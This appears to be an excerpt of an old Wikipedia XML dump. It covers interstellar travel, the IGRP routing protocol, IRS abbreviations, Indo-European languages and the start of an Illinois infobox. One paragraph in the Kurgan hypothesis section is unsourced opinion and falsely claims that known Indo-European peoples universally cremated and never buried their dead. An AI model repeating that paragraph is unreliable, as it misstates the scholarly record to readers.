The nearest star to the Sun is the triple system [[Alpha Centauri]]. Light radiating from that star takes a bit more than four years to reach Earth.  Currently, the fastest spacecraft built can achieve a velocity of about 30 km per second (relative to Earth). At that rate, the journey would take about 40,000 years. Additionally, at the current stage of space technology, the longest space missions that have been initiated are expected to have an operational lifetime of about 40 years before failure of key components is likely to happen. Significant engineering advances such as automated self-repair may be required to ensure survival.

In short, current [[spacecraft propulsion]] technology cannot send objects fast enough to reach the stars in a reasonable time. As a point of comparison, [[Voyager 1]], launched in [[1977]], is the most far-traveled of space probes. As of 2005, it has reached a distance from Earth of approximately 12 light hours.

Even theoretical interstellar travel is expected to be slow.  Current theories of physics indicate that it is impossible to travel [[faster than light]], and that if it were possible, it would also be possible to build a [[time machine]]. Most proposed mechanisms for [[faster than light]] travel require the existence of [[negative mass]].

However, [[special relativity]] and [[general relativity]] offer the possibility of shortening the ''apparent'' travel time: with sufficiently advanced engines, a [[starship]] could make interstellar voyages at nearly the speed of light, and relativistic [[time dilation]] would make the voyage seem much shorter for the traveller. However, it would be slow for the people on Earth interested in the results of the mission, and upon return to Earth, the travellers would find that far more time had elapsed (on Earth) than their subjective travel time would indicate.

==Speculative interstellar travel==
Interstellar travel designs fall into two categories.  The first, which we will call ''slow interstellar travel'', takes a great deal of time, longer than a human lifespan.  The second, which we will call ''fast interstellar travel'' assumes that the difficulties above can be conquered.

===Slow interstellar travel===
Slow interstellar travel designs generally use near future [[spacecraft propulsion]] technologies. As a result, voyages are extremely long, lasting hundreds or thousands of years. Voyages might be one-way trips to set up [[colony|colonies]]. The propulsion system required for such slow travel are less speculative than those for fast interstellar travel, but the duration of such journeys would present a  huge obstacle in itself. The following are the major proposed solutions to that obstacle:

====Generation ships====
A  [[generation ship]] would be large enough to hold a colony of people. These people would live out their lives on board the ship, and their descendants would arrive at a new solar system. These descendants might establish a colony, or perhaps stop only to explore and perhaps to build other ships. Generation ships have long been a popular plot device in science fiction; such stories often have negative outcomes involving a deterioration of the ship-borne culture.

Generation ships are not currently feasible, both because building such an enormous ship would have to be done in space, and because such a sealed, self-sustaining habitat would be difficult to construct.  Artificial closed [[ecosystem]]s, including [[Biosphere 2]], have been built in an attempt to work out the engineering difficulties in such a system, with mixed results.

====Suspended animation====
Scientists and writers have postulated various techniques for [[suspended animation]].  These include human [[hibernation]] and [[cryonics|cryonic preservation]].  While neither is currently practical, they offer the possibility of [[sleeper ship]]s in which the passengers lie inert for the long years of the voyage.

====Extended human lifespan====
A variant on this possibility is based on the development of substantial human life extension, such as the [[Engineered negligible senescence|&quot;Engineered Neglible Senescence&quot;]] strategy of [[Aubrey de Grey|Dr. Aubrey de Grey]]. If a ship crew had lifespans of some thousands of years, they could traverse interstellar distances without the need to replace the crew in generations. The psychological effects of such an extended period of travel would potentially still pose a problem.

====Frozen embryos====
A [[robotic]] space mission carrying some number of frozen early stage human [[embryos]] is another theoretical possibility. This method of [[space colonization]] requires, among other things, the development of a method to replicate conditions in a [[womb]], the prior detection of a habitable [[terrestrial planet]], and advances in the field of fully autonomous [[robotics|mobile robots]]. (See [[embryo space colonization]].)

===Fast interstellar travel===
The possibility of starships that can reach the stars quickly (or at least, within a human lifespan) is naturally more attractive.  This would require some sort of exotic propulsion methods or exotic physics.

====Sub-light-speed travel====
In 1957 it was deemed possible to build 8 million ton spaceships with [[nuclear pulse propulsion]] engines, perhaps capable of reaching speeds of about 10 percent of light speed. One problem with such a propulsion method is that it uses nuclear explosions as a driving force, and may be highly controversial due to the risk of radiation or other hazards in using such a method. 

Another early proposal for an interstellar propulsion system was the [[Bussard ramjet]], in which a huge scoop would collect the diffuse hydrogen in interstellar space, &quot;burn&quot; it using a [[proton-proton fusion]] reaction, and expel it out the back. As the fuel would be collected ''en route'', the craft could have theoretically accelerated to near the speed of light.  Proposed in 1960, later calculations with more accurate estimates suggest that the thrust generated would be less than the drag caused by any conceivable scoop design.  

Fusion-powered starships should be able to reach speeds of approximately 10 percent of that of light. [[solar sail|Light sail]]s powered by massive lasers could potentially reach similar or greater speeds. Finally, if energy resources and efficient production methods are found to make [[antimatter]] in the quantities required, theoretically it would be possible to reach speeds near that of light, where [[time dilation]] would shorten perceived trip times for the travelers considerably.  Even given the assumption of 10 percent of light speed, this would be enough to reach Alpha Centauri in forty years, only half a present human lifetime.

With any ship traveling at a significant fraction of light speed, shielding the spacecraft from the sparse dust and gas of the [[interstellar medium]] would become a serious issue.

====Faster than light travel====
''Main article: [[faster-than-light|Faster than Light Travel]]''

Scientists and authors have postulated a number of ways by which it might be possible to surpass the speed of light. Unfortunately, even the most serious-minded of these are extremely speculative at this point.

=====Wormholes=====
[[Wormholes]] are probably the least conjectural of faster-than-light options under current science. Wormholes are distortions in space-time that theorists postulate could connect two arbitrary points in the universe, across an [[Einstein-Rosen Bridge]]. It is not known whether or not wormholes are possible in practice.  Although there are solutions to the [[Einstein equation]] of  [[general relativity]] which allow for wormholes, all of the currently known solutions involve some assumption, for example the existence of [[negative mass]], which may be unphysical.

There are two types of wormholes that may enable interstellar travel. The first kind originates with the same process as a [[black hole]]: the death of a star. Wormholes of this kind safe enough for a human being to navigate would probably have to be supermassive and rotating, on a scale similar to [[Sagittarius A*]] at the centre of the [[Milky Way Galaxy]]; smaller black holes produce intense [[tidal]] forces that would completely destroy any macroscopic object falling into them.  

Another kind of wormhole is based on [[quantum gravity]].  Some have speculated that [[Euclidean]] wormholes that spontaneously come into being and disappear again, and exist at scales of [[Planck length]]. It may be that this wormhole could be &quot;propped open&quot; using [[negative energy]] (also known as vacuum energy), though the quantity of the energy would be immense.  It is not clear that any of this is even theoretically possible, largely because there is no widely accepted theory of quantum gravity.

===Interstellar travel via transmission===
If physical entities could be transmitted as information and reconstructed at a destination, travel at the speed of light would be possible. 

Encoding, sending and then reconstructing an atom by atom description of (say) a human body is a daunting prospect, but it may be sufficient to send [[software]] that in all practical purposes duplicates the neural function of a person. Presumably, the receiver/reconstructor for such transmissions would have to be sent to the destination by more conventional means.

==NASA research==
As part of the NASA Breakthrough Propulsion Physics Project, it identified three things which must happen, or breakthroughs which are needed, in order for interstellar travel to be possible [http://www.nasa.gov/centers/glenn/research/warp/brakthru.html]:
# A new propulsion method which has less need for propellant
# A method of propulsion which is able to reach the maximum speed which is possible to attain
# A new method of on board energy production method which would power those devices.
Analogies for 'breakthroughs' in technology are steam engines supplanting sailing ships, and jet aircraft replacing propeller aircraft. The breakthrough event means that they are not looking for a better way of designing a rocket engine, but instead a substantially new technology. It comes where the benefits of a past technology advancing gradually diminish, where there becomes a need for a new technology.

==References==
* {{cite book | last = Mallove | first = Eugene | title=The Starflight Handbook | publisher = John Wiley &amp; Sons, Inc | year = 1989 | id = ISBN 0471619124 }}

==See also==
* [[interstellar communication]]
* [[relativistic rocket]]
* [[Starwisp]]
* [[Project Daedalus]]
* [[Project Orion]]
* [[spacewarp]]

==External links==
* [http://www.grc.nasa.gov/WWW/bpp/ NASA Breakthrough Propulsion Physics Program]
* [http://www.centauri-dreams.org/ Centauri Dreams]

[[Category:Science fiction themes]]
[[Category:Transportation]]
[[Category:Interstellar travel]]

[[da:Interstellar rejse]]
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[[ja:恒星間航行]]</text>
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  <page>
    <title>Interior Gateway Routing Protocol</title>
    <id>14844</id>
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        <username>Eskimbot</username>
        <id>477460</id>
      </contributor>
      <minor />
      <comment>robot  Adding: fr</comment>
      <text xml:space="preserve">'''Interior Gateway Routing Protocol''' ('''IGRP''') is a kind of [[Interior Gateway Protocol|IGP]] which is a proprietary [[distance-vector routing protocol]] invented by [[Cisco Systems, Inc.|Cisco]], used by [[router]]s to exchange [[routing]] data within an [[autonomous system (Internet)|autonomous system]].

IGRP was created in part to overcome the limitations of [[Routing Information Protocol|RIP]] (maximum hop count, and a single routing metric) when used within large networks. IGRP supports multiple metrics for each route, including bandwidth, load, delay, mtu, and reliability; to compare two routes these metrics are combined together into a single metric, using a formula which can be adjusted through the use of pre-set constants. The maximum hop count of IGRP-routed packets is 255.

Its successor is [[EIGRP]], that adds [[Diffusing Update Algorithm]] (DUAL) ideas to the basic distance-vector mechanism of IGRP.


[[Category:Network protocols]]
[[Category:Routing protocols]]

[[de:Interior Gateway Routing Protocol]]
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    <title>IRS (disambiguation)</title>
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      <comment>Intergroup Rhabdomyosarcoma Study Group</comment>
      <text xml:space="preserve">'''IRS''' is an abbreviaton for:

* [[U.S. Internal Revenue Service]]
* [[Independent rear suspension]], used in automobiles.
* [[I.R.S. Records]]
* [[Mike Rotundo|Irwin R. Schyster]], professional wrestler
* [[Interest rate swap]]
* [[Indian Remote Sensing satellite]]
* Inertial Reference System; see [[Inertial guidance system]]
* [[Indian Revenue Service]]
* [[International Register of Shipping]]
* [[Intergroup Rhabdomyosarcoma Study Group]], about the [[cancer]], [[rhabdomyosarcoma]]

{{TLAdisambig}}</text>
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    <title>I.R.S.</title>
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      <minor />
      <comment>Robot: Fixing [[Special:DoubleRedirects|double-redirect]] -&quot;U.S. Internal Revenue Service&quot; +&quot;Internal Revenue Service&quot;</comment>
      <text xml:space="preserve">#REDIRECT [[Internal Revenue Service]]</text>
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  <page>
    <title>Indo-European languages</title>
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      <text xml:space="preserve">{{sprotected}}
{{Indo-European}}
The '''Indo-European languages''' are a [[language family|family]] of several hundred [[language]]s and dialects (443 according to the [[SIL International|SIL]] estimate), including most of the major languages of [[Europe]], as well as many in West, Central and [[Southern Asia]]. Contemporary languages in this family include [[Hindi language|Hindi]], [[Bengali language|Bengali]], [[German language|German]], [[English language|English]], [[Portuguese language|Portuguese]], [[Russian language|Russian]], [[Spanish language|Spanish]] (each with more than [[1 E8|100 million]] native speakers), as well as numerous smaller national or minority languages. Indo-European is the largest family of languages in the world today, with its languages spoken by approximately 3 billion native speakers; the second largest family of tongues is [[Sino-Tibetan languages|Sino-Tibetan]]. There are other, controversial supergroupings.

==Classification==
{{Infobox Language family
  |name=Indo-European
  |altname=Indo-Germanic (obsolete)
  |region=Before the 15th century, [[Europe]], and [[South Asia|South]] and [[Southwest Asia]]; today worldwide.
  |familycolor=Indo-European
  |family=One of the world's major [[language family|language families]]; although links with other families have been proposed, none of these has received mainstream acceptance.
  |child1=[[Albanian language|Albanian]]
  |child2=[[Anatolian languages|Anatolian]]
  |child3=[[Armenian language|Armenian]]
  |child4=[[Balto-Slavic languages|Balto-Slavic]]
  |child5=[[Celtic languages|Celtic]]
  |child6=[[Germanic languages|Germanic]]
  |child7=[[Greek language|Greek]]
  |child8=[[Indo-Iranian languages|Indo-Iranian]]
  |child9=[[Italic languages|Italic]] (including [[Romance languages|Romance]])
  |child10=[[Tocharian languages|Tocharian]]
  |map=[[Image:IE_countries.png|center|thumb|280px|Red: countries with a majority of speakers of IE languages&lt;br /&gt;Orange: countries with an IE minority language with official status]]
}}
The various subgroups of the [[Indo-European]] family include (in historical order of their first attestation):

* [[Anatolian languages]] &amp;mdash; earliest attested branch, from the [[18th century BC]]; extinct, most notable was the language of the [[Hittites]].
* [[Indo-Iranian languages]], descending from a common ancestor, [[Proto-Indo-Iranian language|Proto-Indo-Iranian]]
**[[Indo-Aryan languages]], including [[Sanskrit]], attested from the [[2nd millennium BC]]
**[[Iranian languages]], attested from roughly [[1000 BC]], including [[Avestan]] , [[Kurdish language|Kurdish]] and [[Persian language|Persian]]
**[[Dardic languages]]
**[[Nuristani languages]]
* [[Greek language]] &amp;mdash; fragmentary records in [[Mycenaean]] from the [[14th century BC]]; [[Homer]] dates to the [[8th century BC]]. See [[Proto-Greek language]], [[History of the Greek language]].
* [[Italic languages]] &amp;mdash; including [[Latin]] and its descendants, the [[Romance languages]], attested from the [[1st millennium BC]].
* [[Celtic languages]] &amp;mdash; [[Gaulish]] inscriptions date as early as the [[6th century BC]]; [[Old Irish language|Old Irish]] texts from the [[6th century AD]], see [[Proto-Celtic language]]. 
* [[Germanic languages]] (including [[Old English language|English]]) &amp;mdash; earliest testimonies in [[runic]] inscriptions from around the [[2nd century]], earliest coherent texts in [[Gothic language|Gothic]], [[4th century]], see [[Proto-Germanic language]].
* [[Armenian language]] &amp;mdash; attested from the [[5th century]].
* [[Tocharian languages]] &amp;mdash; extinct tongues of the [[Tocharians]], extant in two dialects, attested from roughly the [[6th century]].
* [[Balto-Slavic languages]], believed by many Indo-Europeanists to derive from a common proto-language later than Proto-Indo-European, while others are skeptical and think that Baltic and Slavic are no more closely related than any other two branches of Indo-European.
** [[Slavic languages]] &amp;mdash; attested from the [[9th century]], earliest texts in [[Old Church Slavonic]].
** [[Baltic languages]] &amp;mdash; attested from the [[14th century]], and, for languages attested that late, they retain unusually many archaic features attributed to [[Proto-Indo-European language|Proto-Indo-European]].
* [[Albanian language]] &amp;mdash; attested from the [[15th century]] (1462); relations with Illyrian, Dacian, or Thracian proposed.

In addition to the classical ten branches listed above, there are several extinct languages, about which very little is known:
* [[Illyrian languages]] &amp;mdash; possibly related to Messapian or Venetic; relation to Albanian also proposed.
* [[Venetic language]] &amp;mdash; close to Italic.
* [[Liburnian language]] &amp;mdash; apparently grouped with Venetic.
* [[Messapian language]] &amp;mdash; not conclusively deciphered.
* [[Phrygian language]] &amp;mdash; language of ancient [[Phrygia]], possibly close to Greek, Thracian, or Armenian.
*[[Paionian language]] &amp;mdash; extinct language once spoken north of Macedon.
* [[Thracian language]] &amp;mdash; possibly close to Dacian.
* [[Dacian language]] &amp;mdash; possibly close to Thracian and Albanian.
* [[Ancient Macedonian language]] &amp;mdash; probably related to Greek, others propose relation to Illyrian, Thracian or Phrygian.
* [[Ligurian language]] &amp;mdash; possibly not Indo-European; possibly close to or part of Celtic

There were no doubt other Indo-European languages which are now lost without a trace. The fragmentary [[Raetian language]] cannot be classified with any certainty.

Further subfamilies have been suggested, among them [[Italo-Celtic]] and [[Graeco-Aryan]]. Neither of these is widely accepted. [[Indo-Hittite]] refers to the hypothesis that there is a significant separation between Anatolian and all the remaining groups.

===Satem and Centum languages===
[[Image:Centum Satem map.png|thumb|260px|Diachronic map showing the Centum (blue) and Satem (red) areals. The supposed area of origin of Satemization is shown in darker red ([[Sintashta-Petrovka|Sintashta]]/[[Abashevo culture|Abashevo]]/[[Srubna culture|Srubna]]  cultures).]]

The Indo-European sub-branches are often classified in a [[Satem]] and a [[Centum]] group. This is based on the varying treatments of the three original [[velar]] rows. Satem languages lost the distinction between labiovelar and pure velar sounds, and at the same time [[sibilant|assibilated]] the palatal velars. The centum languages, on the other hand, lost the distinction between palatal velars and pure velars. Thus, geographically, the  &quot;eastern&quot; languages are Satem (Indo-Iranian, Balto-Slavic, but not including Tocharian and Anatolian), and the &quot;western&quot; languages are Centum (Germanic, Italic, Celtic). The [[Centum-Satem isogloss|Satem-Centum isogloss]] runs right between the Greek (Centum) and Armenian (Satem) languages (thought to be related by a number of scholars), with Greek exhibiting some marginal Satem features. Some scholars think that there may be some languages that classify neither as Satem nor as Centum (Anatolian, Tocharian, and possibly Albanian). It should be noted that the grouping does not imply a claim of [[monophyly]]: there never was a &quot;proto-Centum&quot; or a &quot;proto-Satem&quot;, but the sound changes spread by areal contact among already distinct post-PIE languages (say, during the 3rd millennium BC).

{| align=&quot;center&quot;
|[[Image:IndoEuropeanTreeA.PNG|thumb|800px| Indo-European Language Tree]]
|}

===Suggested superfamilies===
Some linguists propose that Indo-European languages are part of a hypothetical [[Nostratic language]] superfamily, and attempt to relate Indo-European to other language families, such as [[South Caucasian languages]], [[Altaic languages]], [[Uralic languages]], [[Dravidian languages]], [[Afro-Asiatic languages]]. This theory is controversial, as is the similar [[Eurasiatic languages|Eurasiatic]] theory of [[Joseph Greenberg]], and the [[Proto-Pontic]] of John Colarusso.

==History==
{| align=right
|[[Image:IE5500BP.png|thumb|232px|right|late [[Proto-Indo-European language]] in the [[Kurgan]] framework]]
|-
|[[Image:IE4500BP.png|thumb|232px|right|mid-[[3rd millennium BC]] distribution]]
|-
|[[Image:IE3500BP.png|thumb|232px|right|mid [[2nd millennium BC]] distribution]]
|-
|[[Image:IE2500BP.png|thumb|232px|right|distribution around [[250 BC]]]]
|-
|[[Image:IE1500BP.png|thumb|232px|right|post- [[Roman Empire]] and [[Migrations period]] distribution]]
|-
|[[Image:IE0500BP.png|thumb|232px|right|late medieval distribution (after [[Islam]]ic, [[Hungary|Hungarian]] and [[Turkic peoples|Turkic]] expansions)]]
|}

''See also: [[Proto-Indo-European language|Proto-Indo-European]], [[Historical linguistics]], [[Glottochronology]].''

The possibility of common origin for some of these languages was first proposed by  [[Marcus Zuerius van Boxhorn]] in [[1647]], proposing their derivation from &quot;[[Scythian]]&quot;. However, the suggestions of van Boxhorn did not become widely known and were not pursued. The hypothesis was again proposed by [[William Jones (philologist)|Sir William Jones]], who noticed similarities between four of the oldest languages known in his time, [[Latin]], [[Greek language|Greek]], [[Sanskrit]], and [[Persian language|Persian]]. Systematic comparison of these and other old languages conducted by [[Franz Bopp]] supported this theory, and Bopp's ''Comparative Grammar'', appearing between [[1833]] and [[1852]] is considered the starting point of [[Indo-European studies]] as an academic discipline. 

The common ancestral (reconstructed) language is called  [[Proto-Indo-European language|Proto-Indo-European]] (PIE). There is disagreement as to the original [[geography|geographic]] location (the so-called &quot;[[Urheimat]]&quot; or &quot;original homeland&quot;) from where it originated. There are two main candidates today: 
# the steppes north of the [[Black Sea]] and the [[Caspian Sea]] (see [[Kurgan]]) 
# [[Anatolia]] (see [[Colin Renfrew]]).
Proponents of the Kurgan hypothesis tend to date the proto-language to ca. [[4000 BC]], while proponents of Anatolian origin usually date it several millennia earlier, associating the spread of Indo-European languages with the Neolithic spread of farming (see [[Indo-Hittite]]).

===Kurgan hypothesis===
{{main|Kurgan hypothesis}}
The Kurgan hypothesis was originally suggested by [[Marija Gimbutas]] in the [[1950s]]. According to the Kurgan hypothesis, early PIE was spoken in the [[chalcolithic]] steppe cultures of the [[5th millennium BC]] between the [[Black Sea]] and the [[Volga]].  

Currently, her theories do not hold credence with most reputable scholars. Ms. Gimbutas's so-called Kurgan peoples theory relies heavily on Kurgan burial mounds. Unfortunately, it is unproven that these so-called Kurgan peoples were ever members of the Indo-European culture-linguistic group. Precisely because '''known''' ancient Indo-European cultures, (i.e. the Indo-Aryans [people of India], the Greeks, Estruscan/Romans, and the ancient norse peoples), universally practiced '''cremation''' and '''not''' burial. This contradiction with known and recorded cultural practices of [[cremation]] amongst proven ancient, yet geographically diverse Indo-Europeans groups, casts doubt on the probability that the so-called Kurgan culture were Indo-European. With these caveats in mind, below is outlined Gimbutas' Kurgan hypothesis.

Timeline
*[[4500 BC|4500]]&amp;ndash;4000: '''Early PIE'''. [[Sredny Stog culture|Sredny Stog]], [[Dnieper-Donets culture|Dnieper-Donets]] and [[Samara culture|Sarama]] cultures, [[domestication of the horse]].
*[[4000 BC|4000]]&amp;ndash;3500: The [[Yamna culture]], the prototypical [[kurgan]] builders, emerges in the steppe, and the [[Maykop culture]] in the northern [[Caucasus (geographic region)|Caucasus]]. [[Indo-Hittite]] models postulate the separation of [[Anatolian languages|Proto-Anatolian]] before this time.
*[[3500 BC|3500]]&amp;ndash;3000: '''Middle PIE'''. The Yamna culture is at its peak, representing the classical reconstructed [[Proto-Indo-European society]], with [[Ukrainian stone stela|stone idols]], early two-wheeled proto-chariots, predominantly practicing [[animal husbandry]], but also with permanent settlements and [[hillfort]]s, subsisting on agriculture and fishing, along rivers. Contact of the Yamna culture with late [[Neolithic Europe]] cultures results in the &quot;kurganized&quot; [[Globular Amphora culture|Globular Amphora]] and [[Baden culture|Baden]] cultures. The [[Maykop culture]] shows the earliest evidence of the beginning [[Bronze Age]], and bronze weapons and artefacts are introduced to Yamna territory. Probable early [[Satemization]].
*[[3000 BC|3000]]&amp;ndash;2500: '''Late PIE'''. The Yamna culture extends over the entire Pontic steppe. The [[Corded Ware culture]] extends from the [[Rhine]] to the [[Volga]], corresponding to the latest phase of Indo-European unity, the vast &quot;kurganized&quot; area disintegrating into various independent languages and cultures, still in loose contact enabling the spread of technology and early loans between the groups, except for the Anatolian and Tocharian branches, which are already isolated from these processes. The Centum-Satem break is probably complete, but the phonetic trends of Satemization remain active.
*[[2500 BC|2500]]&amp;ndash;2000: The breakup into the proto-languages of the attested dialects is complete. [[Proto-Greek]] is spoken in the [[Balkans]], [[Indo-Iranian languages|Proto-Indo-Iranian]] north of the Caspian in the [[Sintashta-Petrovka]] culture. The Bronze Age reaches [[Central Europe]] with the [[Beaker culture]], likely composed of various Centum dialects. [[Proto-Balto-Slavic]] (or alternatively, [[Proto-Slavic]] and [[Proto-Baltic]] communities in close contact) develops in north-eastern Europe. The [[Tarim mummies]] possibly correspond to proto-[[Tocharians]].
*[[2000 BC|2000]]&amp;ndash;1500: The [[chariot]] is invented, leading to the split and rapid spread of [[Iranian languages|Iranian]] and [[Indo-Aryan languages|Indo-Aryan]] from the [[Andronovo culture]] and the [[Bactria-Margiana Archaeological Complex]] over much of [[Central Asia]], Northern [[India]], [[Iran]] and Eastern [[Anatolia]]. Proto-Anatolian is split into [[Hittite language|Hittite]] and [[Luwian]]. The pre-Proto-Celtic [[Unetice culture]] has an active metal industry ([[Nebra skydisk]]). 
*[[1500 BC|1500]]&amp;ndash;1000: The [[Nordic Bronze Age]] develops (pre-)[[Proto-Germanic]], and the (pre-)[[Proto-Celtic]] [[Urnfield]] and [[Hallstatt culture|Hallstatt]] cultures emerge in Central Europe, introducing the [[Iron Age]].  [[Proto-Italic]] migration into the [[Italian peninsula]]. Redaction of the [[Rigveda]] and rise of the [[Vedic civilization]] in the [[Punjab region|Punjab]]. Flourishing and decline of the [[Hittite Empire]]. The [[Mycenaean civilization]] gives way to the [[Greek Dark Ages]]. 
*[[1000 BC]]&amp;ndash;[[500 BC]]: The [[Celtic languages]] spread over Central and Western Europe. Northern Europe enters the [[Pre-Roman Iron Age]], the formative phase of [[Proto Germanic]]. [[Homer]] initiates Greek literature and early [[Classical Antiquity]]. The Vedic Civilization  gives way to the [[Mahajanapadas]]. [[Zoroaster]] composes the [[Gatha]]s, rise of the [[Achaemenid Empire]], replacing the [[Elamites]] and [[Babylonia]]. The [[Cimmerians]] ([[Srubna culture]]) are replaced by [[Scythians]] in the Pontic steppe. [[Armenians]] succeed the [[Urartu]] culture. Separation of Proto-Italic into [[Osco-Umbrian languages|Osco-Umbrian]] and [[Latin-Faliscan languages|Latin-Faliscan]], and foundation of [[Rome]]. Genesis of the [[Greek alphabet|Greek]] and [[Old Italic alphabet|Old Italic]]  alphabets. A variety of [[Paleo-Balkan languages]] are spoken  in Southern Europe. The Anatolian languages are [[language death|extinct]].

===Competing hypotheses===
[[Colin Renfrew]] in [[1987]] suggested that the spread of Indo-European was associated with the [[Neolithic revolution]], spreading peacefully into Europe from [[Asia Minor]] from around [[7000 BC]] with the advance of farming (''wave of advance''). Accordingly, all of [[Neolithic Europe]] would have been Indo-European speaking, and the Kurgan migrations would at best have replaced Indo-European dialects with other Indo-European dialects.

[[Thomas Gamkrelidze]] and [[Vyacheslav V. Ivanov]] in [[1984]] placed the Indo-European homeland on [[Lake Urmia]]. They suggested that [[Armenian language|Armenian]] was the language which stayed in the Indo-European cradle while other Indo-European languages left the homeland. They are also the originators of the [[Glottalic theory]].

Some people have pointed to the [[Black Sea deluge theory]], dating the genesis of the [[Sea of Azov]] to ca. [[5600 BC]], as a direct cause of the Indo-European expansion. This event occurred in still clearly Neolithic times and is rather too early to fit with Kurgan archaeology. It may still be imagined as an event in the remote past of the [[Sredny Stog culture]], and the people living on the land now beneath the Sea of Azov as possible  pre-Proto-Indo-Europeans.

Other theories exist, often with a [[nationalism|nationalistic]] flavour, sometimes bordering on [[national mysticism]], typically positing the development ''in situ'' of the proponents' respective homes. One prominent example of such are the Indian theories that derive [[Vedic Sanskrit]] from the [[Indus valley civilization]], postulating that Vedic Sanskrit is essentially identical to Proto-Indo-European, and that all other dialects must ultimately trace back to the early Indus valley civilization of ca. 3000 BC. This theory is not widely accepted by scholars. See [[Indo-Aryan migration]] for a discussion. Another example may be the [[Paleolithic Continuity Theory]] proposed by Italian theorists that derives Indo-European from the European [[Paleolithic]] cultures.

==Sound changes==
{{main|Indo-European sound laws}}
As the  Proto-Indo-European language broke up, its sound system diverged as well, according to various [[sound law]]s in the daughter languages. Notable among these are [[Grimm's law]] in [[Proto-Germanic]], loss of prevocalic ''*p-'' in [[Proto-Celtic]], loss of prevocalic ''*s-'' in [[Proto-Greek]], [[Brugmann's law]] in [[Proto-Indo-Iranian]], as well as [[Satemization]] treated above.  [[Grassmann's law]] and [[Bartholomae's law]] may or may not have been still common Indo-European.

==References==
* {{cite book | last = Watkins | first = Calvert | title = The American Heritage Dictionary of Indo-European Roots | publisher = Houghton Mifflin | year = 2000 | id = ISBN 0618082506 }}

* [[August Schleicher]], ''A Compendium of the Comparative Grammar of the Indo-European Languages'' (1861/62).

* Leszek Bednarczuk (red.), ''Języki indoeuropejskie''. PWN. Warszawa. 1986 (in Polish). &lt;!-- is this a book? --&gt;.

==See also==
* [[Language family]]
* [[Indo-European studies]]
* [[Proto-Indo-European language]]
* [[List of Indo-European roots]]
* [[List of Indo-European languages]]
* [[List of languages]]

== External links ==
;Databases
* [http://www.indoeuropean.nl The Indo-European Database]
* [http://www.ethnologue.com/show_family.asp?subid=90017 IE language family overview (SIL)]
* [http://languageserver.uni-graz.at/ls/group?id=4 Indo-European] at the  LLOW-database
* [http://www.utexas.edu/cola/depts/lrc/iedocctr/ie.html Indo-European Documentation Center] at the [[University of Texas at Austin]]

;Evolution
* [http://www.ship.edu/%7Ecgboeree/indoeuropean.html The Evolution of the Indo-European Languages, by Dr. C. George Boeree].
* [http://www.HJHolm.de A possible Homeland of the Indo-European Languages] by Hans J. Holm
* [http://www.psych.auckland.ac.nz/psych/research/Evolution/Gray&amp;Atkinson2003.pdf Gray &amp; Atkinson, article on PIE Phylogeny]

;Lexicon
* [http://www.bartleby.com/61/IEroots.html Indo-European Roots, from the American Heritage Dictionary].
* [http://www.geocities.com/protoillyrian Indo-European Root/lemmas] (by Andi Zeneli)

[[Category:Indo-European languages|*]]
[[Category:language families]]

[[af:Indo-Europese tale]]
[[ang:Indo-Europisc geþéodu]]
[[ar:هندوأوروبية]]
[[bg:Индоевропейски езици]]
[[be:Індаэўрапейскія мовы]]
[[bs:Indoevropski jezici]]
[[br:Yezhoù Europa]]
[[ca:Llengües indoeuropees]]
[[cs:Indoevropská jazyková rodina]]
[[cy:Ieithoedd Indo-Ewropeaidd]]
[[da:Indoeuropæiske sprog]]
[[de:Indogermanische Sprachfamilie]]
[[et:Indoeuroopa keeled]]
[[el:Ινδοευρωπαϊκές γλώσσες]]
[[es:Lenguas indoeuropeas]]
[[eo:Hindeŭropa lingvaro]]
[[fa:زبانهای هندواروپایی]]
[[fo:Indo-evropeisk mál]]
[[fr:Langues indo-européennes]]
[[fy:Yndo-Jeropeeske talen]]
[[ga:Cine teangeolaíoch Ind-Eorpach]]
[[gl:Linguas indoeuropeas]]
[[ko:인도유럽어족]]
[[hr:Indoeuropska jezična porodica]]
[[io:Indo-Europana linguaro]]
[[id:Indo-Eropa]]
[[it:Lingue indoeuropee]]
[[he:שפות הודו-אירופיות]]
[[kw:Yethow Eyndo-Europek]]
[[ku:Zimanmalbata hind û ewropî]]
[[la:Linguae Indoeuropaeae]]
[[lv:Indoeiropieši]]
[[jbo:xinjoiro'o bangu]]
[[hu:Indoeurópai nyelvcsalád]]
[[nl:Indo-Europese talen]]
[[nds:Indoeuropääsche Spraken]]
[[ja:インド・ヨーロッパ語族]]
[[no:Indo-europeiske språk]]
[[oc:Categoria:Lengas indo-europèas]]
[[pl:Języki indoeuropejskie]]
[[pt:Línguas indo-européias]]
[[ro:Limbile indo-europene]]
[[ru:Индоевропейские языки]]
[[se:Indoeurohpálaš gielat]]
[[sl:Indoevropski jeziki]]
[[fi:Indoeurooppalaiset kielet]]
[[sv:Indoeuropeiska språk]]
[[th:ภาษากลุ่มอินโด-ยูโรเปียน]]
[[vi:Hệ ngôn ngữ Ấn-Âu]]
[[tr:Hint-Avrupa dil ailesi]]
[[uk:Індоєвропейські мови]]
[[zh:印欧语系]]</text>
    </revision>
  </page>
  <page>
    <title>Illinois</title>
    <id>14849</id>
    <revision>
      <id>42014454</id>
      <timestamp>2006-03-03T05:43:06Z</timestamp>
      <contributor>
        <username>Antandrus</username>
        <id>57658</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/68.252.244.45|68.252.244.45]] ([[User talk:68.252.244.45|talk]]) to last version by Artemisboy</comment>
      <text xml:space="preserve">{{Otheruses1|the U.S. State}}
{{US state |
  Name            = Illinois |
  Fullname        = State of Illinois |
  Flag            = Illinois state flag.png |
  Flaglink      = [[Flag of Illinois]] |
  Seal            = Illinois state seal.png |
  Map             = Map of USA highlighting Illinois.png |
  Nickname        = Land of Lincoln, The [[Prairie]] State |
  Motto           = State sovereignty, national union |
  Capital         = [[Springfield, Illinois|Springfield]] |
  LargestCity     = [[Chicago, Illinois|Chicago]] |
  Governor        = [[Rod Blagojevich]] (D)|
  Senators        = [[Richard Durbin]] (D)
[[Barack Obama]] (D) |
  PostalAbbreviation = IL |
  OfficialLang    = [[English language|English]]|
  AreaRank        = 25&lt;sup&gt;th&lt;/sup&gt; |
  TotalArea       = 149,998 |
  LandArea        = 143,968 |
  WaterArea       = 6,030 |
  PCWater         = 4.0 |
  PopRank         = 5&lt;sup&gt;th&lt;/sup&gt; |
  2000Pop         = 12,419,293 |
  DensityRank     = 11&lt;sup&gt;th&lt;/sup&gt; |
  2000Density     = 86.27 |
  AdmittanceOrder = 21&lt;sup&gt;st&lt;/sup&gt; |
  AdmittanceDate  = [[December 3]], [[1818]] |
  TimeZone        = [[Central Standard Time Zone|Central]]: [[Coordinated Universal Time|UTC]]-6/[[Daylight saving time|-5]] |
